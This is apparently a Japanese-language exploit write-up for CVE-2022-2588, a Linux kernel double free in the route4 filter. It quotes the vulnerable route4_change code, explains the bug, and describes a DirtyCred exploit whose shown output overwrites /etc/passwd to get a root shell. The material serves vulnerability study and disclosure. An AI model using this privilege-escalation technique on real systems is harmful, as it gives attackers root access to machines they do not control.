
このバグは、Linux v5.19 でこの コミット によって修正されました。
このバグは、2014年にこの コミット によって Linux v3.17 で導入されました。トリガーには User Namespaces が必要です。このバグは、route4_filter のリンクリストに対する不適切な操作によって引き起こされた CVE-2021-3715 と非常に似ています。CVE-2021-3715 の詳細は、Black Hatの講演(16ページ)に記載されています。以下は CVE-2022-2588 の簡単な詳細です。
CVE-2022-2588 を理解するための関数 route4_change の重要なコード断片を以下に示します。
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
この関数は、route4_filter オブジェクトを初期化/置換するために実装されています。フィルタは、各フィルタを区別するための一意のIDとして handle を使用します。以前に初期化されたハンドルが存在する場合(すなわち、fold 変数が null でない場合)、古いフィルタを削除して新しいフィルタを追加することでフィルタを更新します。それ以外の場合は、新しいフィルタを追加するだけです。
[0] では、カーネルが route4_filter オブジェクトを割り当てます。[1] では、fold が空でない場合、つまり同じハンドルを持つフィルタが存在する場合、いくつかの情報を新しいフィルタにコピーし、[2] で新しいフィルタを初期化し、[3] で新しいフィルタをリストに挿入します。古いフィルタが存在する場合、[4] でリストから削除され、[6] で解放されます。
バグは [4] で発生します。ここでは、削除する古いフィルタが存在するかどうかをチェックします。この条件は、ハンドルがゼロではなく、新しいフィルタのハンドルと一致することを保証します。この条件は、[6] でフィルタを解放する条件と一致しません。[6] は、古いフィルタが存在するかどうかのみをチェックします。したがって、ユーザーがハンドル 0 のフィルタを作成し、その置換をトリガーした場合、条件が異なるため、フィルタは [4] でリンク解除されず、[6] で解放されます。
このバグは CVE-2021-3715 と類似しているため、それらのプリミティブはほぼ同じです。プリミティブの詳細については、Black Hatの講演 を参照してください。この記事では、DirtyCred のアイデアを用いたエクスプロイトを示します。
バグをトリガーした後、解放された fold はまだリンクリスト上に残っているため、fold をもう一度解放することができます。これにより、CONFIG_NET_CLS_ACT が有効な場合、最終的に route4_filer オブジェクトと route4_filter->exts.action オブジェクトの二重解放が発生します。
エクスプロイトコードは、これらの2つの二重解放機能を利用して、タスク認証情報(kmalloc-192 の二重解放を利用、近日公開予定)とオープンファイル認証情報(kmalloc-256 の二重解放を利用)への攻撃を実証します。
DirtyCred のアイデアに従い、エクスプロイトコードは権限チェック後にファイル認証情報をすり替えるため、読み取り権限しかないファイルに任意のコンテンツを書き込むことができます。理想的には、このコードはこのバグの影響を受けるすべてのカーネルバージョンで動作します。msg_msg が kmalloc-rcl-* に分離されている古いカーネルでも動作するように、エクスプロイトは異なるスプレーオブジェクトを使用していることに注意してください。
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
このエクスプロイトは、可能な限り多くのディストリビューションで動作するように作成されました。以下での動作が確認されています。
ユーザー low、パスワード low でログインしてください。